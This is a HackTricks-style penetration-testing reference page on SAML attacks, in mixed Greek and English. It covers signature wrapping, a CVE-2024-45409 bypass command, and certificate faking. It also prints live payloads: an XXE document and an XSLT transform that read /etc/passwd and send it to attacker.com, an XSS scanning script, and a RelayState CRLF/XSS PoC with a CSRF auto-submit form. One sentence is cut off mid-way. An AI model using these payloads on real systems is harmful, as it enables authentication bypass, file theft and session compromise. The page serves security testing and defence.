SAML Attacks

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.

Βασικές Πληροφορίες

SAML Basics

Εργαλείο

SAMLExtractor: Ένα εργαλείο που μπορεί να πάρει ένα URL ή λίστα URL και να εμφανίσει το SAML consume URL.

XML round-trip

In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn’t change the data but based in that scenario, the data being checked and the original data could not be the same.

For example, check the following code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Η εκτέλεση του προγράμματος με REXML 3.2.4 ή παλαιότερη έκδοση θα είχε ως αποτέλεσμα την ακόλουθη έξοδο:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

And this is how it saw it after a round of parsing and serialization:

For more information about the vulnerability and how to abuse it:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML Signature Wrapping Attacks

Στις XML Signature Wrapping attacks (XSW), οι επιτιθέμενοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται σε δύο διακριτές φάσεις: έλεγχος υπογραφής και κλήση λειτουργίας. Αυτές οι επιθέσεις περιλαμβάνουν την αλλοίωση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος ενσωματώνει πλαστά στοιχεία που δεν ακυρώνουν την εγκυρότητα της XML Signature. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας ασυμφωνίας μεταξύ των στοιχείων που αναλύονται από τη λογική της εφαρμογής και αυτών που ελέγχονται από το module επαλήθευσης υπογραφής. Ως αποτέλεσμα, ενώ η XML Signature παραμένει τεχνικά έγκυρη και περνάει την επαλήθευση, η λογική της εφαρμογής επεξεργάζεται τα ψευδή στοιχεία. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει την προστασία ακεραιότητας και την επικύρωση προέλευσης της XML Signature, επιτρέποντας την έγχυση αυθαίρετου περιεχομένου χωρίς ανίχνευση.

Οι ακόλουθες επιθέσεις βασίζονται σε this blog post και this paper. Ελέγξτε τα για περισσότερες λεπτομέρειες.

XSW #1

• Strategy: Προστίθεται ένα νέο root στοιχείο που περιέχει την υπογραφή.
• Implication: Ο validator μπορεί να μπερδευτεί ανάμεσα στον νόμιμο “Response -> Assertion -> Subject” και στον επιτιθέμενο “evil new Response -> Assertion -> Subject”, οδηγώντας σε προβλήματα ακεραιότητας δεδομένων.

XSW #2

• Difference from XSW #1: Χρησιμοποιεί μια detached signature αντί για μια enveloping signature.
• Implication: H “evil” δομή, παρόμοια με την XSW #1, στοχεύει να ξεγελάσει τη business logic μετά τον έλεγχο ακεραιότητας.

XSW #3

• Strategy: Δημιουργείται ένα evil Assertion στο ίδιο ιεραρχικό επίπεδο με το αρχικό assertion.
• Implication: Σκοπεύει να μπερδέψει τη business logic ώστε να χρησιμοποιήσει τα κακόβουλα δεδομένα.

XSW #4

• Difference from XSW #3: Το αρχικό Assertion γίνεται child του διπλασιασμένου (evil) Assertion.
• Implication: Παρόμοιο με το XSW #3 αλλά αλλάζει τη δομή XML πιο επιθετικά.

XSW #5

• Unique Aspect: Ούτε η Signature ούτε το αρχικό Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (enveloped/enveloping/detached).
• Implication: Το αντιγραμμένο Assertion περιβάλλει τη Signature, τροποποιώντας την αναμενόμενη δομή του εγγράφου.

XSW #6

• Strategy: Παρόμοια εισαγωγή στη θέση όπως τα XSW #4 και #5, αλλά με μια παραλλαγή.
• Implication: Το αντιγραμμένο Assertion περιβάλλει τη Signature, η οποία στη συνέχεια περιβάλλει το αρχικό Assertion, δημιουργώντας μια nested deceptive δομή.

XSW #7

• Strategy: Εισάγεται ένα Extensions στοιχείο με το αντιγραμμένο Assertion ως child.
• Implication: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό schema του Extensions στοιχείου για να παρακάμψει μετρά αντικειμενικής επαλήθευσης σχήματος, ειδικά σε βιβλιοθήκες όπως η OpenSAML.

XSW #8

• Difference from XSW #7: Χρησιμοποιεί ένα άλλο λιγότερο περιοριστικό XML στοιχείο για μια παραλλαγή της επίθεσης.
• Implication: Το αρχικό Assertion γίνεται child του λιγότερο περιοριστικού στοιχείου, αντιστρέφοντας τη δομή που χρησιμοποιήθηκε στο XSW #7.

Εργαλείο

Μπορείτε να χρησιμοποιήσετε το Burp extension SAML Raider για να αναλύσετε το request, να εφαρμόσετε οποιαδήποτε XSW επίθεση επιλέξετε και να την εκτελέσετε.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: Εάν ο Service Provider χρησιμοποιεί ευπαθές Ruby-SAML (π.χ. GitLab SAML SSO), ένας επιτιθέμενος που μπορεί να αποκτήσει οποιαδήποτε IdP-signed SAMLResponse μπορεί να παραποιήσει ένα νέο assertion και να αυθεντικοποιηθεί ως τυχαίοι χρήστες.

High-level workflow (signature-wrapping style bypass):

1. Capture a legitimate SAMLResponse in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
2. Decode the transport encoding to raw XML (typical order): URL decode → Base64 decode → raw inflate.
3. Use a PoC (for example, the Synacktiv script) to patch IDs/NameID/conditions and rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
4. Re-encode the patched XML (raw deflate → Base64 → URL encode) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Αν δεν γνωρίζετε τι είδους επιθέσεις είναι οι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα:

XXE - XEE - XML External Entity

Οι SAML Responses είναι deflated and base64 encoded XML documents και μπορούν να είναι ευάλωτες σε επιθέσεις XML External Entity (XXE). Με τη χειραγώγηση της XML δομής της SAML Response, οι επιτιθέμενοι μπορούν να προσπαθήσουν να εκμεταλλευτούν ευπάθειες XXE. Έτσι μπορεί να οπτικοποιηθεί μια τέτοια επίθεση:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Εργαλεία

Μπορείτε επίσης να χρησιμοποιήσετε το Burp extension SAML Raider για να δημιουργήσετε το POC από ένα SAML request ώστε να ελέγξετε για πιθανές XXE vulnerabilities και SAML vulnerabilities.

Δείτε επίσης αυτή την ομιλία: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

Για περισσότερες πληροφορίες σχετικά με το XSLT ανατρέξτε στο:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι οι μετατροπές XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή· μια self-signed ή μη έγκυρη υπογραφή είναι επαρκής για να προχωρήσει.

Εδώ μπορείτε να βρείτε ένα POC για να ελέγξετε αυτό το είδος ευπαθειών· στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας θα βρείτε payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Signature δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, η επαλήθευση της υπογραφής ενδέχεται να μην εκτελεστεί, καθιστώντας το ευάλωτο. Είναι δυνατό να το δοκιμάσετε αυτό αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή.

Tool

You can also use the Burp extension SAML Raider. Intercept the SAML Response and click Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking είναι μια τεχνική για να ελέγξετε αν ένας Service Provider (SP) επαληθεύει σωστά ότι ένα SAML Message είναι υπογεγραμμένο από έναν αξιόπιστο Identity Provider (IdP). Περιλαμβάνει τη χρήση ενός *self-signed certificate για να υπογραφεί το SAML Response ή η Assertion, κάτι που βοηθά στην αξιολόγηση της διαδικασίας επαλήθευσης εμπιστοσύνης μεταξύ SP και IdP.

How to Conduct Certificate Faking

The following steps outline the process using the SAML Raider Burp extension:

1. Αποκλείστε το SAML Response.
2. If the response contains a signature, send the certificate to SAML Raider Certs using the Send Certificate to SAML Raider Certs button.
3. Στην καρτέλα SAML Raider Certificates, επιλέξτε το εισαχθέν certificate και κάντε κλικ στο Save and Self-Sign για να δημιουργήσετε ένα self-signed clone του αρχικού certificate.
4. Επιστρέψτε στο παρεμποδισμένο request στο Burp’s Proxy. Επιλέξτε το νέο self-signed certificate από το XML Signature dropdown.
5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί Remove Signatures.
6. Υπογράψτε το message ή την assertion με το νέο certificate χρησιμοποιώντας το (Re-)Sign Message ή (Re-)Sign Assertion κουμπί, ανάλογα.
7. Προωθήστε το υπογεγραμμένο μήνυμα. Εάν η αυθεντικοποίηση είναι επιτυχής, αυτό δείχνει ότι το SP αποδέχεται μηνύματα υπογεγραμμένα με το self-signed certificate σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επαλήθευσης των SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion και Service Provider Target Confusion αφορούν τον έλεγχο του κατά πόσο ο Service Provider επαληθεύει σωστά τον προβλεπόμενο παραλήπτη μιας response. Ουσιαστικά, ένας Service Provider θα πρέπει να απορρίπτει μια authentication response αν προοριζόταν για διαφορετικό provider. Το κρίσιμο στοιχείο εδώ είναι το πεδίο Recipient, που βρίσκεται μέσα στο στοιχείο SubjectConfirmationData ενός SAML Response. Αυτό το πεδίο καθορίζει ένα URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προβλεπόμενο Service Provider, η Assertion πρέπει να θεωρείται άκυρη.

How It Works

For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.

The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS στη λειτουργία αποσύνδεσης

Η αρχική έρευνα είναι διαθέσιμη μέσω αυτού του συνδέσμου.

Κατά τη διάρκεια της διαδικασίας directory brute forcing, εντοπίστηκε σελίδα αποσύνδεσης στη διεύθυνση:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, πραγματοποιήθηκε ανακατεύθυνση στο:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Αυτό αποκάλυψε ότι η παράμετρος base δέχεται ένα URL. Λαμβάνοντας υπόψη αυτό, προέκυψε η ιδέα να αντικατασταθεί το URL με javascript:alert(123); σε μια προσπάθεια να ξεκινήσει μια επίθεση XSS (Cross-Site Scripting).

Μαζική Εκμετάλλευση

From this research:

Το εργαλείο SAMLExtractor χρησιμοποιήθηκε για να αναλύσει subdomains του uberinternal.com για domains που χρησιμοποιούσαν την ίδια βιβλιοθήκη. Στη συνέχεια, αναπτύχθηκε ένα script για να στοχεύσει τη σελίδα oidauth/prompt. Αυτό το script δοκιμάζει για XSS (Cross-Site Scripting) εισάγοντας δεδομένα και ελέγχοντας αν αυτά αντανακλώνται στην έξοδο. Σε περιπτώσεις όπου τα δεδομένα όντως αντανακλώνται, το script σηματοδοτεί τη σελίδα ως ευάλωτη.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection για rXSS

Μερικά SAML SSO endpoints αποκωδικοποιούν το RelayState και στη συνέχεια το αντανακλούν στην απάντηση χωρίς απολύμανση. Εάν μπορείτε να εισάγετε αλλαγές γραμμής (newlines) και να αντικαταστήσετε τον Content-Type της απάντησης, μπορείτε να αναγκάσετε το πρόγραμμα περιήγησης να αποδώσει HTML που ελέγχεται από τον επιτιθέμενο, επιτυγχάνοντας reflected XSS.

• Ιδέα: εκμετάλλευση response-splitting μέσω εισαγωγής newline στο αντανακλώμενο RelayState. Δείτε επίσης τις γενικές σημειώσεις στο CRLF injection.
• Λειτουργεί ακόμα και όταν το RelayState αποκωδικοποιείται server-side από base64: παράσχετε ένα base64 που αποκωδικοποιείται σε header/body injection.

Γενικά βήματα:

1. Δημιουργήστε μια ακολουθία header/body injection που ξεκινά με αλλαγή γραμμής, αντικαταστήστε τον τύπο περιεχομένου σε HTML, και έπειτα εισάγετε το HTML/JS payload:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>

2. URL-encode την ακολουθία (παράδειγμα):

%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E

3. Base64-encode αυτό το URL-encoded string και τοποθετήστε το στο RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

4. Στείλτε ένα POST με ένα συντακτικά έγκυρο SAMLResponse και το κατασκευασμένο RelayState στο SSO endpoint (π.χ. /cgi/logout).
5. Παράδοση μέσω CSRF: φιλοξενήστε μια σελίδα που κάνει auto-submit ενός cross-origin POST στον στόχο, συμπεριλαμβάνοντας και τα δύο πεδία.

PoC εναντίον ενός NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF μοτίβο παράδοσης:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Γιατί λειτουργεί: ο server αποκωδικοποιεί το RelayState και το ενσωματώνει στην απάντηση με τρόπο που επιτρέπει newline injection, επιτρέποντας στον επιτιθέμενο να επηρεάσει τα headers και το σώμα. Η εξαναγκαστική χρήση του Content-Type: text/html προκαλεί τον browser να αποδώσει το HTML ελεγχόμενο από τον επιτιθέμενο από το σώμα της απάντησης.

Αναφορές

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/
• Is it CitrixBleed4? Well no. Is it good? Also no. Citrix NetScaler’s Memory Leak & rXSS (CVE-2025-12101)
• https://0xdf.gitlab.io/2026/03/03/htb-barrier.html
• https://github.com/synacktiv/CVE-2024-45409
• https://github.com/SAML-Toolkits/ruby-saml/security/advisories/GHSA-jw9c-mfg7-9rx2

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

• Ελέγξτε τα σχέδια συνδρομής!
• Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
• Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.